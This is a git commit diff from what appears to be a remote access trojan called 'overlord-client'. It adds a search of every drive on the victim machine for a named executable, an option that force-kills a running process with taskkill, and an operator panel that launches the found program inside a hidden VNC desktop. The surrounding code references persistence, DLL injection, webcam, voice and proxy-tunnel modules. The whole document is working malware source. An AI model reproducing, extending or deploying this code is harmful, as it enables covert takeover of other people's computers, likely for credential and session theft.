add file lookup to hvnc

This commit is contained in:
KingKDot
2026-03-21 17:42:31 -05:00
parent 00675aa329
commit dbb7f559b7
9 changed files with 308 additions and 2 deletions
@@ -0,0 +1,106 @@
package filesearch
import (
"os"
"path/filepath"
"strings"
"sync"
)
var SkipDirs = map[string]bool{
"$recycle.bin": true,
"windows": true,
"system volume information": true,
}
type ResultFunc func(path string)
func LookupExe(exeName string, workers int, onResult ResultFunc) {
if workers <= 0 {
workers = 8
}
lowerExe := strings.ToLower(exeName)
roots := driveRoots()
dirs := make(chan string, 256)
var inflight sync.WaitGroup
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for dir := range dirs {
walkDir(dir, lowerExe, dirs, &inflight, onResult)
inflight.Done()
}
}()
}
for _, root := range roots {
entries, err := os.ReadDir(root)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
if SkipDirs[strings.ToLower(e.Name())] {
continue
}
inflight.Add(1)
dirs <- filepath.Join(root, e.Name())
} else if strings.ToLower(e.Name()) == lowerExe {
onResult(filepath.Join(root, e.Name()))
}
}
}
go func() {
inflight.Wait()
close(dirs)
}()
wg.Wait()
}
func walkDir(root, lowerExe string, dirs chan<- string, inflight *sync.WaitGroup, onResult ResultFunc) {
entries, err := os.ReadDir(root)
if err != nil {
return
}
for _, e := range entries {
full := filepath.Join(root, e.Name())
if e.IsDir() {
if SkipDirs[strings.ToLower(e.Name())] {
continue
}
inflight.Add(1)
select {
case dirs <- full:
default:
inflight.Done()
walkDir(full, lowerExe, dirs, inflight, onResult)
}
} else if strings.ToLower(e.Name()) == lowerExe {
onResult(full)
}
}
}
func driveRoots() []string {
if os.PathSeparator == '\\' {
var roots []string
for c := 'A'; c <= 'Z'; c++ {
root := string(c) + ":\\"
if info, err := os.Stat(root); err == nil && info.IsDir() {
roots = append(roots, root)
}
}
if len(roots) == 0 {
roots = append(roots, "C:\\")
}
return roots
}
return []string{"/"}
}
+44 -1
View File
@@ -6,6 +6,7 @@ import (
"errors" "errors"
"log" "log"
"os" "os"
"os/exec"
goruntime "runtime" goruntime "runtime"
"strconv" "strconv"
"strings" "strings"
@@ -16,6 +17,7 @@ import (
"overlord-client/cmd/agent/audio" "overlord-client/cmd/agent/audio"
"overlord-client/cmd/agent/capture" "overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/console" "overlord-client/cmd/agent/console"
"overlord-client/cmd/agent/filesearch"
"overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/runtime"
@@ -1284,20 +1286,61 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
case "hvnc_start_process": case "hvnc_start_process":
payload, _ := envelope["payload"].(map[string]interface{}) payload, _ := envelope["payload"].(map[string]interface{})
filePath := "" filePath := ""
killExe := ""
if payload != nil { if payload != nil {
if v, ok := payload["path"].(string); ok { if v, ok := payload["path"].(string); ok {
filePath = v filePath = v
} }
if v, ok := payload["kill_exe"].(string); ok {
killExe = v
}
} }
log.Printf("hvnc: start process %q", filePath) log.Printf("hvnc: start process %q (kill_exe=%q)", filePath, killExe)
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process", nil, func() { goSafe("hvnc_start_process", nil, func() {
if killExe != "" {
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
}
if err := capture.StartHVNCProcess(filePath); err != nil { if err := capture.StartHVNCProcess(filePath); err != nil {
log.Printf("hvnc: start process failed for %q: %v", filePath, err) log.Printf("hvnc: start process failed for %q: %v", filePath, err)
} }
}) })
return nil return nil
case "hvnc_lookup":
payload, _ := envelope["payload"].(map[string]interface{})
exeName := ""
if payload != nil {
if v, ok := payload["exe"].(string); ok {
exeName = v
}
}
if exeName == "" {
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
return nil
}
log.Printf("hvnc: lookup exe %q", exeName)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_lookup", nil, func() {
filesearch.LookupExe(exeName, 8, func(path string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
Type: "hvnc_lookup_result",
Exe: exeName,
Path: path,
Done: false,
})
})
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
Type: "hvnc_lookup_result",
Exe: exeName,
Path: "",
Done: true,
})
log.Printf("hvnc: lookup complete for %q", exeName)
})
return nil
case "hvnc_start_process_injected": case "hvnc_start_process_injected":
payload, _ := envelope["payload"].(map[string]interface{}) payload, _ := envelope["payload"].(map[string]interface{})
filePath := "" filePath := ""
@@ -221,6 +221,13 @@ type HVNCCloneProgress struct {
Status string `msgpack:"status"` Status string `msgpack:"status"`
} }
type HVNCLookupResult struct {
Type string `msgpack:"type"`
Exe string `msgpack:"exe"`
Path string `msgpack:"path"`
Done bool `msgpack:"done"`
}
type ProxyData struct { type ProxyData struct {
Type string `msgpack:"type"` Type string `msgpack:"type"`
ConnectionID string `msgpack:"connectionId"` ConnectionID string `msgpack:"connectionId"`
+119
View File
@@ -647,6 +647,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
handleCloneProgress(msg); handleCloneProgress(msg);
return; return;
} }
if (msg && msg.type === "hvnc_lookup_result") {
handleLookupResult(msg);
return;
}
if (msg && msg.type === "hvnc_error") { if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message); console.error("hvnc: server error:", msg.error || msg.message);
return; return;
@@ -663,6 +667,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
handleCloneProgress(msg); handleCloneProgress(msg);
return; return;
} }
if (msg && msg.type === "hvnc_lookup_result") {
handleLookupResult(msg);
return;
}
if (msg && msg.type === "hvnc_error") { if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message); console.error("hvnc: server error:", msg.error || msg.message);
return; return;
@@ -897,6 +905,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
hideContextMenu(); hideContextMenu();
showCustomExeModal(); showCustomExeModal();
return; return;
} else if (action === "lookup-exe") {
hideContextMenu();
showLookupExeModal();
return;
} }
hideContextMenu(); hideContextMenu();
}); });
@@ -943,6 +955,113 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } }); argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
} }
let activeLookupOverlay = null;
function showLookupExeModal() {
if (activeLookupOverlay) activeLookupOverlay.remove();
const overlay = document.createElement("div");
overlay.id = "hvncLookupExeOverlay";
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
overlay.innerHTML = `
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-[480px] shadow-2xl flex flex-col" style="max-height:80vh">
<div class="text-sm font-semibold text-slate-100 mb-3">Lookup Executable</div>
<label class="block text-xs text-slate-400 mb-1">Exe filename (e.g. notepad.exe)</label>
<div class="flex gap-2 mb-3">
<input id="hvncLookupExeName" type="text" placeholder="notepad.exe"
class="flex-1 bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 focus:outline-none focus:border-violet-500" />
<button id="hvncLookupBtn" class="button primary text-sm px-4">
<i class="fa-solid fa-magnifying-glass mr-1"></i>Lookup
</button>
</div>
<div id="hvncLookupStatus" class="text-xs text-slate-500 mb-2 hidden">
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Searching…
</div>
<div id="hvncLookupResults" class="flex-1 overflow-y-auto min-h-[60px] max-h-[400px] bg-slate-950 border border-slate-800 rounded p-2">
<div class="text-xs text-slate-600 text-center py-4">Results will appear here</div>
</div>
<div class="flex items-center mt-3">
<label class="flex items-center gap-2 cursor-pointer select-none">
<input type="checkbox" id="hvncLookupKill" class="accent-red-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Kill before starting</span>
</label>
<div class="ml-auto">
<button id="hvncLookupClose" class="button ghost text-sm">Close</button>
</div>
</div>
</div>`;
document.body.appendChild(overlay);
activeLookupOverlay = overlay;
const nameInput = document.getElementById("hvncLookupExeName");
const lookupBtn = document.getElementById("hvncLookupBtn");
const statusEl = document.getElementById("hvncLookupStatus");
const resultsEl = document.getElementById("hvncLookupResults");
nameInput.focus();
function close() { overlay.remove(); activeLookupOverlay = null; }
document.getElementById("hvncLookupClose").addEventListener("click", close);
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
function startLookup() {
const exe = nameInput.value.trim();
if (!exe) return;
resultsEl.innerHTML = "";
statusEl.classList.remove("hidden");
lookupBtn.disabled = true;
lookupBtn.classList.add("opacity-50");
sendCmd("hvnc_lookup", { exe });
}
lookupBtn.addEventListener("click", startLookup);
nameInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); startLookup(); } });
}
function handleLookupResult(msg) {
const overlay = activeLookupOverlay;
if (!overlay) return;
const statusEl = document.getElementById("hvncLookupStatus");
const resultsEl = document.getElementById("hvncLookupResults");
const lookupBtn = document.getElementById("hvncLookupBtn");
if (!resultsEl) return;
if (msg.done) {
if (statusEl) {
statusEl.innerHTML = '<i class="fa-solid fa-check mr-1 text-emerald-400"></i>Search complete';
setTimeout(() => statusEl.classList.add("hidden"), 3000);
}
if (lookupBtn) {
lookupBtn.disabled = false;
lookupBtn.classList.remove("opacity-50");
}
if (!resultsEl.querySelector("[data-lookup-path]")) {
resultsEl.innerHTML = '<div class="text-xs text-slate-500 text-center py-4">No results found</div>';
}
return;
}
if (msg.path) {
// Remove placeholder if present
const placeholder = resultsEl.querySelector(":scope > div:not([data-lookup-path])");
if (placeholder) placeholder.remove();
const item = document.createElement("button");
item.type = "button";
item.dataset.lookupPath = msg.path;
item.className = "w-full text-left px-2 py-1.5 rounded text-xs text-slate-200 hover:bg-violet-600/30 hover:text-violet-100 transition-colors font-mono truncate block";
item.textContent = msg.path;
item.title = "Click to start in HVNC: " + msg.path;
item.addEventListener("click", () => {
const killCheckbox = document.getElementById("hvncLookupKill");
const killExe = killCheckbox?.checked ? msg.exe : "";
sendCmd("hvnc_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
item.classList.add("text-emerald-400");
item.innerHTML = '<i class="fa-solid fa-check mr-1"></i>' + (killExe ? '(killed) ' : '') + msg.path;
});
resultsEl.appendChild(item);
item.scrollIntoView({ block: "nearest" });
}
}
function updateLatencyDisplay(ms) { function updateLatencyDisplay(ms) {
lastLatencyMs = ms; lastLatencyMs = ms;
if (latencyEl) { if (latencyEl) {
+7
View File
@@ -229,6 +229,13 @@
> >
<i class="fa-solid fa-file mr-2 text-slate-300"></i>Run custom exe… <i class="fa-solid fa-file mr-2 text-slate-300"></i>Run custom exe…
</button> </button>
<button
type="button"
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
data-action="lookup-exe"
>
<i class="fa-solid fa-magnifying-glass mr-2 text-amber-300"></i>Lookup exe…
</button>
</div> </div>
<style> <style>
body { body {
+2
View File
@@ -78,6 +78,7 @@ import {
handleWebcamViewerOpen, handleWebcamViewerOpen,
handleWebcamDevices, handleWebcamDevices,
handleHVNCCloneProgress, handleHVNCCloneProgress,
handleHVNCLookupResult,
handleRemoteDesktopViewerMessage, handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen, handleRemoteDesktopViewerOpen,
hvncStreamingState, hvncStreamingState,
@@ -460,6 +461,7 @@ async function startServer() {
handleVoiceUplink, handleVoiceUplink,
handleWebcamDevices, handleWebcamDevices,
handleHVNCCloneProgress, handleHVNCCloneProgress,
handleHVNCLookupResult,
cleanupVoiceViewer, cleanupVoiceViewer,
stopConsoleOnTarget, stopConsoleOnTarget,
sendDesktopCommand, sendDesktopCommand,
@@ -76,6 +76,7 @@ type WsLifecycleDeps = {
handleVoiceUplink: (clientId: string, payload: any) => void; handleVoiceUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void; handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void; handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void; cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void; stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void; sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
@@ -487,6 +488,9 @@ export async function handleWebSocketMessage(
case "hvnc_clone_progress": case "hvnc_clone_progress":
deps.handleHVNCCloneProgress(client.id, payload); deps.handleHVNCCloneProgress(client.id, payload);
break; break;
case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload);
break;
case "proxy_data": { case "proxy_data": {
const connId = (payload as any).connectionId; const connId = (payload as any).connectionId;
const tunnelData = (payload as any).data; const tunnelData = (payload as any).data;
@@ -494,6 +494,17 @@ export function handleHVNCCloneProgress(clientId: string, payload: any) {
} }
} }
export function handleHVNCLookupResult(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_lookup_result",
exe: String(payload.exe || ""),
path: String(payload.path || ""),
done: !!payload.done,
});
}
}
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) { export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw); const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return; if (!payload || typeof payload.type !== "string") return;
@@ -670,8 +681,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_key_up": case "hvnc_key_up":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" }); if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
break; break;
case "hvnc_lookup":
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
break;
case "hvnc_start_process": case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") }); sendHVNCCommand(target, "hvnc_start_process", {
path: String(payload.path || ""),
kill_exe: String(payload.kill_exe || ""),
});
break; break;
case "hvnc_start_process_injected": { case "hvnc_start_process_injected": {
const dllData = getInjectionDllBytes(); const dllData = getInjectionDllBytes();
+1
View File
@@ -28,6 +28,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"voice_uplink", "voice_uplink",
"webcam_devices", "webcam_devices",
"hvnc_clone_progress", "hvnc_clone_progress",
"hvnc_lookup_result",
"proxy_data", "proxy_data",
"proxy_close", "proxy_close",
]); ]);